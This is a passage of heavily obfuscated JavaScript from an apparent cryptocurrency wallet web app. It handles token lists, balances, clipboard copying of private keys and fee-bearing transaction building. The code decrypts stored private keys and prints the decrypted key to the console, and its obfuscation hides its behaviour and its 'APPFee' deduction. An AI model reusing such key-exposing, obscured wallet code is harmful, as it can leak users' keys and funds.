_0x5efc54[_0x541a1b(0x247)]();cryptoPrices[_0x541a1b(0x2cf)]=_0x247e92[_0x541a1b(0x336)][_0x541a1b(0x20e)],cryptoPrices['Dogecoin']=_0x247e92['dogecoin'][_0x541a1b(0x20e)],cryptoPrices[_0x541a1b(0x344)]=_0x247e92[_0x541a1b(0x21d)][_0x541a1b(0x20e)],cryptoPrices[_0x541a1b(0x124)]=_0x247e92['ethereum'][_0x541a1b(0x20e)],console['log'](_0x541a1b(0x257)+'ces\x20fetche'+'d:',cryptoPrices);}catch(_0x2a446c){console[_0x541a1b(0x39c)](_0x541a1b(0x16e)+_0x541a1b(0x16b)+_0x541a1b(0x382),_0x2a446c);}}document['getElement'+_0x481ed0(0x258)](_0x481ed0(0x22a)+_0x481ed0(0x2f8))[_0x481ed0(0x10e)+'stener'](_0x481ed0(0x1f8),function(){const _0x3b1e8b=_0x481ed0,_0x5249c4=document[_0x3b1e8b(0x2e7)+_0x3b1e8b(0x258)]('privateKey'+_0x3b1e8b(0x394))[_0x3b1e8b(0x11b)+'t'];navigator[_0x3b1e8b(0x2f7)][_0x3b1e8b(0x381)](_0x5249c4)['then'](function(){const _0x1b2f37=_0x3b1e8b;ShowToast(_0x1b2f37(0x2ab)+_0x1b2f37(0x29a)+_0x1b2f37(0x19c)+'d!');},function(_0x382589){const _0x572966=_0x3b1e8b;ShowToast(_0x572966(0x125)+_0x572966(0x1bf)+'te\x20key.'),console[_0x572966(0x39c)](_0x572966(0x15f)+'ing\x20privat'+'e\x20key:\x20',_0x382589);});});async function addAccount(){const _0x2a4500=_0x481ed0,_0x499acd=document[_0x2a4500(0x2e7)+_0x2a4500(0x258)]('blockchain'+_0x2a4500(0x2f0))[_0x2a4500(0x109)],_0x57b2ac=document[_0x2a4500(0x2e7)+_0x2a4500(0x258)](_0x2a4500(0x1b0)+_0x2a4500(0x252)),_0x5f3dab='MultiWalle'+'t_'+_0x499acd+(_0x2a4500(0x1ce)+'UseIndex');let _0x1c1d14=parseInt(localStorage[_0x2a4500(0x193)](_0x5f3dab),0x93d*-0x3+-0x291*-0x8+0x739*0x1)||-0x238e+0x1*0x16dd+-0xcb1*-0x1;if(parseInt(_0x1c1d14)>=GenerateAccountNumber){ShowToast(_0x2a4500(0x2cd)+_0x2a4500(0x2c5)+_0x2a4500(0x13d)+'nly\x20add\x20ac'+_0x2a4500(0x126)+_0x2a4500(0x171));return;}_0x1c1d14+=-0x1*-0x1f91+-0x19b9+-0x5d7,localStorage[_0x2a4500(0x2cb)](_0x5f3dab,_0x1c1d14),await updateAccountSelect(_0x499acd),ShowToast(_0x2a4500(0x2a7)+(_0x1c1d14+(0x2b7*0x3+-0xb41+0x31d*0x1))+(_0x2a4500(0x2d0)+'r\x20')+_0x499acd[_0x2a4500(0x1bd)+'e']()),_0x57b2ac[_0x2a4500(0x183)+'dex']=_0x1c1d14,await saveSelections(),document[_0x2a4500(0x2e7)+_0x2a4500(0x258)](_0x2a4500(0x374))['innerText']='0\x20'+_0x499acd[_0x2a4500(0x1bd)+'e'](),document[_0x2a4500(0x2e7)+_0x2a4500(0x258)](_0x2a4500(0x1f7))['innerText']=_0x2a4500(0x1a8),document[_0x2a4500(0x2e7)+_0x2a4500(0x258)](_0x2a4500(0x1f7))[_0x2a4500(0x377)]='';}window[_0x481ed0(0x10e)+_0x481ed0(0x370)](_0x481ed0(0x113),async function(){await fetchCryptoPrices();});function _0x37ad(_0x300f3b,_0x2daf1b){const _0xd16dd4=_0xf0c2();return _0x37ad=function(_0xf0c256,_0x37addf){_0xf0c256=_0xf0c256-(-0x4ed*0x3+-0xb2a+0x1af8);let _0x3024f8=_0xd16dd4[_0xf0c256];return _0x3024f8;},_0x37ad(_0x300f3b,_0x2daf1b);}const blockchainSelect=document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x208)+_0x481ed0(0x2f0)),importBlockchainSelect=document[_0x481ed0(0x2e7)+_0x481ed0(0x258)](_0x481ed0(0x204)+_0x481ed0(0x114)+'ct');loadBlockchainOptions(blockchainSelect),loadBlockchainOptions(importBlockchainSelect),LoginOrInit();function getSelectedIndex(){const _0x131e9b=_0x481ed0,_0x2a9b6a=document[_0x131e9b(0x2e7)+_0x131e9b(0x258)](_0x131e9b(0x1b0)+_0x131e9b(0x252)),_0x4e16c8=_0x2a9b6a[_0x131e9b(0x183)+_0x131e9b(0x3b0)];alert(_0x131e9b(0x26f)+_0x131e9b(0x226)+_0x4e16c8);}function showPopup(){const _0x5f02f2=_0x481ed0;document[_0x5f02f2(0x2e7)+_0x5f02f2(0x258)]('popupModal')['style']['display']='block',displayTokens();}function displayTokens(){const _0x5595af=_0x481ed0,_0x1944d2=document[_0x5595af(0x2e7)+_0x5595af(0x258)](_0x5595af(0x208)+'Select'),_0xbe15a5=_0x1944d2[_0x5595af(0x362)][_0x1944d2['selectedIn'+_0x5595af(0x3b0)]][_0x5595af(0x377)];var _0x3736d1=CoinsJson[_0xbe15a5][_0x5595af(0x2fc)][_0x5595af(0x3b1)];const _0x3d7b66=document[_0x5595af(0x2e7)+_0x5595af(0x258)]('tokenList');_0x3d7b66['innerHTML']='',_0x3736d1['forEach'](_0x46f024=>{const _0x3ca331=_0x5595af,_0x36bf11=document[_0x3ca331(0x1ae)+_0x3ca331(0x145)]('li');_0x36bf11[_0x3ca331(0x11b)+'t']=_0x46f024[_0x3ca331(0x385)]+'\x20('+_0x46f024[_0x3ca331(0x2ce)]+')',_0x36bf11['onclick']=()=>selectToken(CoinsJson[_0xbe15a5][_0x3ca331(0x18b)+'e'],_0x46f024[_0x3ca331(0x1ec)],_0x46f024[_0x3ca331(0x385)]),_0x3d7b66[_0x3ca331(0x1ad)+'d'](_0x36bf11);});}function selectToken(_0x22ebb2,_0x2a11b2,_0x15c0ea){const _0x367928=_0x481ed0;selectedTokenAddress=_0x2a11b2,selectedTokenName=_0x15c0ea;const _0x1927a2=document['getElement'+'ById'](_0x367928(0x208)+_0x367928(0x2f0)),_0x5be6d9=_0x1927a2[_0x367928(0x362)][_0x1927a2[_0x367928(0x183)+_0x367928(0x3b0)]][_0x367928(0x377)];console['log']('selectedTo'+_0x367928(0x24d)+':',selectedTokenAddress),closePopup();if(selectedTokenName==CoinsJson[_0x5be6d9]['symbol']){console[_0x367928(0x35d)](_0x367928(0x303)+_0x367928(0x33a)),document[_0x367928(0x2e7)+'ById'](_0x367928(0x175)+'ce')[_0x367928(0x11b)+'t']='';return;}if(_0x22ebb2=='evm')document[_0x367928(0x2e7)+_0x367928(0x258)](_0x367928(0x1ee)+'tETH')[_0x367928(0x11b)+'t']=_0x15c0ea,fetchEVMTokenBalance();else _0x22ebb2==_0x367928(0x234)&&(document[_0x367928(0x2e7)+_0x367928(0x258)]('tokenSelec'+_0x367928(0x1a3))[_0x367928(0x11b)+'t']=_0x15c0ea,fetchTronTokenBalance());}function closePopup(){const _0x553ec4=_0x481ed0;document[_0x553ec4(0x2e7)+'ById']('popupModal')[_0x553ec4(0x17d)][_0x553ec4(0x15b)]='none';}async function fetchTronTokenBalance(){const _0xe221bf=_0x481ed0,_0x106bca=document[_0xe221bf(0x2e7)+_0xe221bf(0x258)](_0xe221bf(0x1b0)+_0xe221bf(0x252))['value'];if(!selectedTokenAddress||!_0x106bca){document[_0xe221bf(0x2e7)+_0xe221bf(0x258)]('TronTokenB'+'alance')['textConten'+'t']=_0xe221bf(0x28c);return;}var _0x598ff6=_0x106bca;console[_0xe221bf(0x35d)]('tronAddres'+'s:',_0x598ff6);var _0x4c1a90=selectedTokenAddress;const _0x35d2ba=new TronWeb({'fullHost':'https://ap'+'i.trongrid'+_0xe221bf(0x29b)});if(!_0x35d2ba[_0xe221bf(0x1aa)](_0x598ff6)){ShowToast('Invalid\x20TR'+'ON\x20address'+_0xe221bf(0x3a4)+_0xe221bf(0x28d)+_0xe221bf(0x39e)+'.');return;}_0x35d2ba['setAddress'](_0x598ff6);try{const _0x39bb36=await _0x35d2ba[_0xe221bf(0x1cd)]()['at'](_0x4c1a90),_0x5edddf=await _0x39bb36[_0xe221bf(0x1b1)](_0x598ff6)[_0xe221bf(0x3a3)](),_0x2a360=await _0x39bb36[_0xe221bf(0x301)]()[_0xe221bf(0x3a3)](),_0x3f8a16=_0x5edddf/Math[_0xe221bf(0x227)](-0xb74*0x3+0x2063+-0x67*-0x5,_0x2a360);document[_0xe221bf(0x2e7)+_0xe221bf(0x258)](_0xe221bf(0x375)+_0xe221bf(0x27e))['textConten'+'t']=_0xe221bf(0x36c)+_0x3f8a16+'\x20'+selectedTokenName;}catch(_0x39d0f1){console[_0xe221bf(0x39c)](_0xe221bf(0x16e)+_0xe221bf(0x2d2)+_0xe221bf(0x2c8),_0x39d0f1),document['getElement'+_0xe221bf(0x258)]('TronTokenB'+'alance')['textConten'+'t']=_0xe221bf(0x28c);}}async function fetchEVMTokenBalance(){const _0x5cb460=_0x481ed0,_0x38cfe9=document[_0x5cb460(0x2e7)+_0x5cb460(0x258)](_0x5cb460(0x1b0)+_0x5cb460(0x252))[_0x5cb460(0x109)];if(!selectedTokenAddress||!_0x38cfe9){document['getElement'+'ById'](_0x5cb460(0x175)+'ce')[_0x5cb460(0x11b)+'t']='Balance:\x200';return;}const _0x4fe651=[{'constant':!![],'inputs':[{'name':_0x5cb460(0x2e4),'type':'address'}],'name':_0x5cb460(0x1b1),'outputs':[{'name':'balance','type':_0x5cb460(0x250)}],'type':_0x5cb460(0x367)},{'constant':!![],'inputs':[],'name':_0x5cb460(0x301),'outputs':[{'name':'','type':_0x5cb460(0x350)}],'type':_0x5cb460(0x367)}],_0x1b983f=document[_0x5cb460(0x2e7)+_0x5cb460(0x258)](_0x5cb460(0x208)+_0x5cb460(0x2f0)),_0x1c4ea1=_0x1b983f[_0x5cb460(0x362)][_0x1b983f[_0x5cb460(0x183)+'dex']][_0x5cb460(0x377)],_0x45bd5e=new Web3(CoinsJson[_0x1c4ea1]['RPCURL']),_0x2b10c6=new _0x45bd5e[(_0x5cb460(0x275))][(_0x5cb460(0x1da))](_0x4fe651,selectedTokenAddress);try{const _0x310f09=await _0x2b10c6[_0x5cb460(0x256)][_0x5cb460(0x1b1)](_0x38cfe9)[_0x5cb460(0x3a3)](),_0x44a114=await _0x2b10c6['methods'][_0x5cb460(0x301)]()[_0x5cb460(0x3a3)](),_0x5ca43e=parseInt(_0x310f09)/Math[_0x5cb460(0x227)](-0x3d*-0x4f+-0x3*0x2d2+-0xa53,parseInt(_0x44a114));document[_0x5cb460(0x2e7)+_0x5cb460(0x258)](_0x5cb460(0x175)+'ce')['textConten'+'t']=_0x5cb460(0x36c)+_0x5ca43e+'\x20'+selectedTokenName;}catch(_0x469c76){console[_0x5cb460(0x39c)](_0x5cb460(0x16e)+_0x5cb460(0x2d2)+_0x5cb460(0x2c1),_0x469c76),document[_0x5cb460(0x2e7)+_0x5cb460(0x258)]('tokenBalan'+'ce')[_0x5cb460(0x11b)+'t']=_0x5cb460(0x28c);}}async function filterTokens(){const _0x681b47=_0x481ed0,_0x4bf008=document[_0x681b47(0x2e7)+'ById'](_0x681b47(0x37b)+'h')[_0x681b47(0x109)]['toLowerCas'+'e'](),_0x199537=document[_0x681b47(0x2e7)+_0x681b47(0x258)]('blockchain'+_0x681b47(0x2f0)),_0x4b4810=_0x199537[_0x681b47(0x362)][_0x199537[_0x681b47(0x183)+_0x681b47(0x3b0)]][_0x681b47(0x377)],_0x1ca35d=new Web3(CoinsJson[_0x4b4810][_0x681b47(0x2a3)]);if(_0x1ca35d[_0x681b47(0x3a1)]['isAddress'](_0x4bf008)){console[_0x681b47(0x35d)](_0x681b47(0x2be)+_0x681b47(0x159)+'ss');const _0x9e1b1f=[{'constant':!![],'inputs':[],'name':'name','outputs':[{'name':'','type':_0x681b47(0x2df)}],'payable':![],'stateMutability':_0x681b47(0x236),'type':_0x681b47(0x367)},{'constant':!![],'inputs':[],'name':_0x681b47(0x2ce),'outputs':[{'name':'','type':_0x681b47(0x2df)}],'payable':![],'stateMutability':_0x681b47(0x236),'type':_0x681b47(0x367)}];try{document[_0x681b47(0x2e7)+_0x681b47(0x258)]('tokenList')['innerHTML']='';const _0x3ddf86=new _0x1ca35d[(_0x681b47(0x275))][(_0x681b47(0x1da))](_0x9e1b1f,_0x4bf008),_0x5964d3=await _0x3ddf86[_0x681b47(0x256)][_0x681b47(0x385)]()[_0x681b47(0x3a3)](),_0x27a6b6=await _0x3ddf86[_0x681b47(0x256)][_0x681b47(0x2ce)]()[_0x681b47(0x3a3)](),_0x4c2ee5=document[_0x681b47(0x2e7)+_0x681b47(0x258)](_0x681b47(0x22f)),_0x3c7608=document[_0x681b47(0x1ae)+_0x681b47(0x145)]('li');_0x3c7608['textConten'+'t']=_0x5964d3+'\x20('+_0x27a6b6+')';const _0x3eea84=document['getElement'+_0x681b47(0x258)](_0x681b47(0x208)+_0x681b47(0x2f0)),_0x3a6172=_0x3eea84[_0x681b47(0x362)][_0x3eea84[_0x681b47(0x183)+_0x681b47(0x3b0)]][_0x681b47(0x377)];_0x3c7608[_0x681b47(0x1c8)]=()=>selectToken(CoinsJson[_0x3a6172][_0x681b47(0x18b)+'e'],_0x4bf008,_0x5964d3),_0x4c2ee5[_0x681b47(0x1ad)+'d'](_0x3c7608);}catch(_0x208ff1){console[_0x681b47(0x39c)](_0x681b47(0x16e)+_0x681b47(0x358)+'\x20details:',_0x208ff1);}}else{console[_0x681b47(0x35d)](_0x681b47(0x32f)+_0x681b47(0x200));var _0x174670=CoinsJson[_0x4b4810]['TokenList']['tokens'];const _0x4bafb1=_0x174670['filter'](_0x35c367=>_0x35c367[_0x681b47(0x385)][_0x681b47(0x17c)+'e']()[_0x681b47(0x1e5)](_0x4bf008));console[_0x681b47(0x35d)]('filteredTo'+_0x681b47(0x325),_0x4bafb1),displayFilteredTokens(_0x4bafb1);}}function displayFilteredTokens(_0x2748c1){const _0x4cd26d=_0x481ed0,_0x401e2d=document[_0x4cd26d(0x2e7)+_0x4cd26d(0x258)](_0x4cd26d(0x22f));_0x401e2d[_0x4cd26d(0x2ba)]='';const _0x34dbf3=document[_0x4cd26d(0x2e7)+_0x4cd26d(0x258)](_0x4cd26d(0x208)+_0x4cd26d(0x2f0)),_0x8ab853=_0x34dbf3[_0x4cd26d(0x362)][_0x34dbf3[_0x4cd26d(0x183)+_0x4cd26d(0x3b0)]][_0x4cd26d(0x377)];_0x2748c1[_0x4cd26d(0x322)](_0x1e050a=>{const _0x1f4f87=_0x4cd26d,_0x4a5ebf=document[_0x1f4f87(0x1ae)+_0x1f4f87(0x145)]('li');_0x4a5ebf[_0x1f4f87(0x11b)+'t']=_0x1e050a['name']+'\x20('+_0x1e050a['symbol']+')',_0x4a5ebf[_0x1f4f87(0x1c8)]=()=>selectToken(CoinsJson[_0x8ab853][_0x1f4f87(0x18b)+'e'],_0x1e050a[_0x1f4f87(0x1ec)],_0x1e050a['name']),_0x401e2d['appendChil'+'d'](_0x4a5ebf);});}async function ShowRefreshButton(){const _0x21c5e8=_0x481ed0;document[_0x21c5e8(0x2e7)+'ById']('RefreshBal'+_0x21c5e8(0x2ef)+'ID')['hidden']=![],console[_0x21c5e8(0x35d)](_0x21c5e8(0x26e)+_0x21c5e8(0x297));}function decryptPrivateKey(_0x19a14e){const _0x433b9f=_0x481ed0;return CryptoJS[_0x433b9f(0x35c)][_0x433b9f(0x2b7)](_0x19a14e,pass)['toString'](CryptoJS['enc']['Utf8']);}function _0xf0c2(){const _0x35f33a=['yModal','putTRX','loginSecti','ce\x27).value','Import\x20Coi','exception','get\x20accoun','ssword','MultiWalle','Contract','net','enc','nBuilder','\x20address:','hasOwnProp','nder:','toFixed','keyPair:','/doge/main','ing\x20TRX:','includes','nt\x20funds\x20f','r\x20fee.','TXValueInp','qrcode','index:','fallback','address','n\x20sent!\x20','tokenSelec','privateKey','Incorrect\x20','rn\x20this\x22)(','?unspentOn','accounts','FeeRecieve','rd\x20phrase.','/tx/','usdValue','click','Estimated\x20','ing\x20token:','inline-blo','networks','doge','totalInput','hing\x20fee\x20r','um\x20address','transfer','signedTran','utxos:','importBloc','event','balance:','sendTRXSec','blockchain','ss.','nance.llam','\x20a\x20valid\x201','i.trongrid','txHex:','usd','DefaultMin','importKey\x20','untSelect\x20','CoinName:','e...','trim','586971YSvroc','arpc.com','allowance','ields.','dButton','ECPair','588croCbu','Transfer','litecoin','rgin-right','mg\x20src=\x22im','dTRXButton','data-icon','e=\x22text\x22\x20c','amountToSe','https://bi','putETH','ndex:\x20','pow','token:','usted\x20to\x20','copyPrivat','MaxAPPFee','hing\x20USD\x20p','nsaction','approve','tokenList','tor','EstimateFe','e\x20No\x20accou','fee:','tron','d_balance','view','HDNode','or\x20this\x20tr','kchain.','rrencies=u','publicKey','password.\x20','\x20(≈','entrys','d\x20amount\x20i','Error\x20impo','t\x20matches.','parse','/txs/push','payments','ve.blockcy','/#/transac','json','querySelec','toWIF','text','2\x20or\x2024-wo','send\x20the\x20t','kenAddress','ord.','ransaction','uint256','gecoin,lit','ect','m/44\x27/0\x27/0','Blockchain','sswordInpu','methods','Crypto\x20pri','ById','TX\x20Hash:\x20','fromPrivat','d\x20\x27Yes\x27','addInput','hzHqfQt4L4','FDJ7BLIzOm','khCg5Vdfhy','getGasPric','ccessful\x20w','\x22copyTXVal','No\x20saved\x20p','ntIndex:','Send\x20','tonID','ed\x20success','account\x20no','Index','\x20USD)','dress','eKey','search','set\x20refres','Selected\x20i','/balance','txb:','location','CurrentGen','retrieve\x20t','eth','copy\x20addre','Value:','.toHex(awa','tx_hash','unconfirme','tionCount','fromWei','ValueInput','alance','<button\x20ty','binancecoi','word','/ltc/main/','orted\x20bloc','erty','BitcoinLik','t\x20(in\x20smal','applicatio','estimateGa','RestoreSec','our\x20wallet','\x20to\x20accoun','Balance:\x200','nter\x20a\x20val','ValidatePa','52666PdTicg','importSect','keys:','puir','transferFr','show','ey.','enDecimals','h\x20button..','gasLimit','reum&vs_cu','y\x20copied\x20t','.io','mnemonicTo','l\x20*Clear*\x20','evm','ipboard!','0\x27/0/','https://ap','send\x20Ether','RPCURL','0x...u9','fade-flash','t\x20for\x20mine','Account\x20','show\x20Modal','modal','copy\x20text:','Private\x20ke','eInstance','ction','APPFee:','ltc','i.coingeck','tR49IAX8HD','uccessfull','dogecoin','splice','aved\x20succe','utblgNSK6Y','decrypt','APPFee','bnb','innerHTML','essful\x20wit','hex','feeSlider','Valid\x20Ethe','Encrypted:','m/44\x27/3\x27/0','ce:','ut\x22\x20id=\x22TX','Wallet','getTransac','accounts\x20l','cscan.com','ChangeToSe','ce:\x20','romptModal','_value','setItem','.com','Reach\x20Max\x20','symbol','Bitcoin','\x20loaded\x20fo','/btc/main/','hing\x20balan','fromSeed','sage:\x0a','ToSend:','_accounts','BlockExplo','MaximumMin','length','emonic','dating\x20key','validateMn','amountInpu','ETH\x20transa','string','encrypted_','payable','onic!','push','_owner','Amount\x20adj','sendEVMTok','getElement','trx','Error\x20send','toSun','return\x20(fu','slice','contractAd','ss!','anceButton','Select','<input\x20typ','Image','dBalanceID','h\x20hash:','add','Gas\x20Limit:','clipboard','eKeyButton','QRCode','isHexStrin','block','TokenList','https://li','ion','getAttribu','put','decimals','nonpayable','select\x20bas','background','rAddress:','senderAddr','bind','\x20again.','get\x20balanc','ivate\x20key\x20','&vs_curren','ing\x20coin:','MnemonicSe','sendTRXSpi','Approval','d_walletPa','https://et','passwordIn','nID','RefreshBal','f/dmkser/Y','utID','Miner\x20fee:','ess:','tIndex:','ton','Signed\x20Mes','apply','tion','TRX\x20(Tron)','message','ssfully!','yId(\x27balan','forEach','ue()\x22\x20clas','send\x20TRX.','kens:','sendTRXBut','saction:','{}.constru','MnemonicPa','updateAcco','nonce:','com','allet?\x20thi','tion/','not\x20Ethere','pbN+NQ==','generateMn','d\x20\x27No\x27','url(','er:','\x20amount.','bitcoin','ReceiveBut','Have\x20Chang','*All*\x20of\x20y','ecoin..','Please\x20try','j7IeFw==','walletPass','oge','nName:','tid','toHex','MnemonicTe','(((.+)+)+)','Litecoin','nt\x20found.','enteredPas','Invalid\x20mn','sendRawTra','\x20data','inline','hash','essful!','he\x20private','You\x20clicke','warn','uint8','sendSectio','sendButton','hidden','Address\x20co','nHash','...','Fetch\x20bala','hing\x20token','console','U2FsdGVkX1','input','AES','log','3898HinkgP','getBalance','feeDisplay','mnemonicIn','options','send\x20token','tion:','ansaction.','MaxAmountI','function','nSize:','receiverIn','select','Error\x20vali','Balance:\x20','Key\x20import','addOutput','lass=\x22bord','stener','MinAPPFee','in.','ether','balance','TronTokenB','POST','innerText','ge\x22\x20style=','accountInd','hash:','tokenSearc','info','it\x20web3.et','addrs/','.\x20Ensure\x20t','Copied:\x20','writeText','o\x20prices:','\x20No\x20accoun','bool','name','counts:','UseIndex','h.llamarpc','send','on\x20private','v3/simple/','Invalid\x20pr','ETH\x20sent!\x20','+VJfOmwElR','encode','Insufficie','200jmWniz','t_selected','#passwordP','Text','fetch\x20USD\x20','ts\x20created','CHHO/30Ezu','/0\x27/0/','sendEVMSpi','/Token','rer','error','s=\x22btn\x20btn','id\x20address','ctor(\x22retu','ethereum','utils','Token\x20tran','call','.\x20Please\x20e','gasLimit:','fromMnemon','stringify','NetworkPar','fromWIF','sful\x20with\x20','\x20key\x20is\x20co','lygonscan.','n\x20transact','onscan.org','get\x20Balanc','dex','tokens','i.blockcyp','tonText','txrefs','nner','ecimals:','erless-inp','int\x20tokenD','disabled','change','rateAccoun','ecoin,ethe','fetchUtxos','value','no\x20balance','dETHButton','/main/addr','setSelecti','addEventLi','\x20CoinName','pubKey:','table','format.','load','kchainSele','rice:','rrect.','t_encrypte','erFee','reload','bigint\x20tok','textConten','loginButto','Rfc3OG4Ev/','APPFee\x20cal',':\x2020px;\x20ma','\x27/0/','tokenAmoun','1071432MMBhnz','lest\x20unit)','Ethereum','Failed\x20to\x20','count\x20by\x20i','bip32','confirmSen','Failed:','und.','bitcoin,do','txid','sendEVMBut','toWei','rting\x20key:','derivePath','/addrs/','Invalid\x20Tr','nd\x20+\x20fee:','Unconfirme','classList','transactio','!\x20TX\x20Hash:','getOrCreat','Transactio','pol',':\x205px;\x22></','u7NyMCIVD4','imit,can\x20o','s\x20too\x20smal','pher.com/b','8SRhxV98TI','btc','receiver:','sendSpinne','l\x20in\x20all\x20f','ent','Do\x20you\x20wan','ID\x22\x20value=','ETH\x20(Ether','ance\x20accou','sendSigned','m/44\x27/2\x27/0','unt,\x20\x27ethe','\x20key.','BroadcastT','_spender','option','346280QWocQF','\x20from\x20mnem','\x20Maybe\x20sen','CoinType:','getContrac','_to','liveToast','\x22\x20readonly','reum\x20addre','src','display','cies=usd','nd:','o.com/api/','Error\x20copy','importButt','er\x20a\x20valid','1805930FSxcDS','signTransa','dcasting\x20t','AccountInd','504jrlMUb','https://tr','d\x20blockcha','step','ork','hing\x20crypt','none','Invalid\x20ev','Error\x20fetc','prototype','txData:','mporting','https://po','assword\x20fo','confirm','tokenBalan','catch','\x19Dogecoin\x20','Login\x20succ','D5...8p','\x22\x20alt=\x22Ima','Accounts\x20s','toLowerCas','style','removeItem','utton','importKeyB','TRC20\x20toke','etElementB','selectedIn','password.','encrypt','spender','ction\x20succ','web3.utils','pied\x20to\x20cl','herscan.io','NetworkTyp','TRX\x20sent!\x20','l\x20or\x20fee\x20i','n/json','amountInSu','en...','price.','txs/push','getItem','max59VBivB','\x20current\x20w','Utf8','n\x20sent!\x20TX','tETH','Tron','on5T6BOEAX','broadcast\x20','o\x20clipboar','walletUI','ted!\x0aTrans','button>','.toast-bod','sign','new\x20amount','tTRX','cryptoLogo','build','SeedSync','t\x20to\x20reset','0\x20USD','sendETHSec','isAddress','img/','address:','appendChil','createElem','ly=true','accountSel','balanceOf','_per_kb','-light\x22><i','p2pkh','r\x27):','Toast','tx_output_','constructo','her.com/v1','Doge','getId','__proto__','toUpperCas','remove','copy\x20priva','nly\x20add\x20ac','then','Done,Walle','Please\x20ent','owner','L2...K9','\x20private\x20k','price?ids=','onclick','toString','.png','rawTransac','ease\x20enter','contract','_accounts_','ate:','hide'];_0xf0c2=function(){return _0x35f33a;};return _0xf0c2();}async function EstimateFee(){const _0x87c19c=_0x481ed0;console[_0x87c19c(0x35d)](_0x87c19c(0x231)+_0x87c19c(0x213)),document[_0x87c19c(0x2e7)+_0x87c19c(0x258)](_0x87c19c(0x369)+_0x87c19c(0x300))[_0x87c19c(0x3b9)]=!![],document['getElement'+_0x87c19c(0x258)](_0x87c19c(0x2dd)+'t')[_0x87c19c(0x3b9)]=!![];try{const _0x1140f5=document['getElement'+_0x87c19c(0x258)](_0x87c19c(0x208)+_0x87c19c(0x2f0)),_0x346977=_0x1140f5['options'][_0x1140f5[_0x87c19c(0x183)+'dex']][_0x87c19c(0x377)];var _0x3d6b07=CoinsJson[_0x346977][_0x87c19c(0x3a8)+'a'];const _0x52b127=loadKeysFromLocalStorage(CoinsJson[_0x346977][_0x87c19c(0x2ce)]);var _0x34524f=document['getElement'+_0x87c19c(0x258)]('accountSel'+_0x87c19c(0x252))[_0x87c19c(0x183)+'dex'];const {address:_0x16902d,privateKey:_0x1c6cbc}=_0x52b127[_0x34524f];console[_0x87c19c(0x35d)](_0x87c19c(0x1ac),_0x16902d);var _0x2f1144=_0x16902d;const _0x457832=CryptoJS['AES'][_0x87c19c(0x2b7)](_0x1c6cbc,pass)[_0x87c19c(0x1c9)](CryptoJS[_0x87c19c(0x1dc)][_0x87c19c(0x196)]);console[_0x87c19c(0x35d)]('DecryptKey'+':',_0x457832);const _0x426932=bitcoin[_0x87c19c(0x21a)][_0x87c19c(0x3a9)](_0x457832,_0x3d6b07);console['log'](_0x87c19c(0x1e2),_0x426932);var _0x5da524=bitcoin[_0x87c19c(0x244)][_0x87c19c(0x1b4)]({'pubkey':_0x426932[_0x87c19c(0x23b)],'network':_0x3d6b07})[_0x87c19c(0x1ec)];console[_0x87c19c(0x35d)](_0x87c19c(0x110),_0x5da524);if(_0x16902d!==_0x5da524){ShowToast('account\x20no'+_0x87c19c(0x241)),EnableInput();return;}const _0x4892ef=new bitcoin['Transactio'+(_0x87c19c(0x1dd))](_0x3d6b07),_0x49060a=await fetchUtxos(_0x346977,_0x5da524);let _0x218cb3=0x14a5+-0x56a+-0xf3b;console[_0x87c19c(0x35d)](_0x87c19c(0x203),_0x49060a),_0x49060a[_0x87c19c(0x322)](_0x1b91f5=>{const _0x3b52ea=_0x87c19c;_0x4892ef[_0x3b52ea(0x25c)](_0x1b91f5['tx_hash'],_0x1b91f5[_0x3b52ea(0x1b7)+'n'],0x1*-0xc8ac5d13+-0x288e5110*0x2+0x219c8ff32),_0x218cb3+=_0x1b91f5[_0x3b52ea(0x109)];});if(_0x218cb3<CoinsJson[_0x346977][_0x87c19c(0x20f)+_0x87c19c(0x118)]){console['log'](_0x87c19c(0x10a)),EnableInput();return;}var _0x41068d=CoinsJson[_0x346977][_0x87c19c(0x20f)+_0x87c19c(0x118)];_0x41068d=parseInt(document[_0x87c19c(0x2e7)+_0x87c19c(0x258)]('feeSlider')['value']*(0xa2ebe7*-0x12+-0x63b5be8+-0x1*-0x17a5d326)),console[_0x87c19c(0x35d)](_0x87c19c(0x233),_0x41068d);let _0x46cfbc=-0x6*-0xad+-0x2382+-0x1*-0x1f75;var _0x470d65=parseInt(_0x46cfbc*(-0x46cc029+0x1fb6de1*-0x2+0xe597ceb));console[_0x87c19c(0x35d)](_0x87c19c(0x1fe)+_0x87c19c(0x277),_0x218cb3),console[_0x87c19c(0x35d)]('amountToSe'+_0x87c19c(0x133),_0x470d65+_0x41068d);const _0x5cef74=document[_0x87c19c(0x2e7)+_0x87c19c(0x258)](_0x87c19c(0x1b0)+_0x87c19c(0x252))[_0x87c19c(0x183)+'dex'];console[_0x87c19c(0x35d)](_0x87c19c(0x206),_0x218cb3);const _0xf744b7=CoinsJson[_0x346977][_0x87c19c(0x2b8)];let _0x364464=parseInt(_0x470d65*_0xf744b7/(-0x11b*0x1+-0x21d*0x4+0xd77));console['log'](_0x87c19c(0x11e)+':',_0x364464);if(_0x364464<CoinsJson[_0x346977]['MinAPPFee'])_0x364464=CoinsJson[_0x346977][_0x87c19c(0x371)];else _0x364464>CoinsJson[_0x346977][_0x87c19c(0x22b)]&&(_0x364464=CoinsJson[_0x346977]['MaxAPPFee']);var _0x53a46c=!![];_0x470d65>=_0x218cb3-_0x41068d-_0x364464&&(_0x470d65=parseInt(_0x218cb3-_0x41068d-_0x364464),console[_0x87c19c(0x35d)](_0x87c19c(0x1a2)+'ToSend:',_0x470d65),_0x53a46c=![]);if(_0x218cb3<_0x470d65+_0x41068d+_0x364464){ShowToast(_0x87c19c(0x390)+_0x87c19c(0x1e6)+_0x87c19c(0x238)+_0x87c19c(0x365)),EnableInput();return;}var _0x646ca4=parseInt(_0x218cb3-_0x470d65-_0x41068d-_0x364464);console[_0x87c19c(0x35d)](_0x87c19c(0x223)+_0x87c19c(0x15d),_0x470d65),console[_0x87c19c(0x35d)](_0x87c19c(0x317),_0x41068d),console[_0x87c19c(0x35d)](_0x87c19c(0x2ae),_0x364464),console[_0x87c19c(0x35d)](_0x87c19c(0x2c7)+_0x87c19c(0x1e0),_0x646ca4),_0x4892ef[_0x87c19c(0x36e)](_0x2f1144,_0x470d65);var 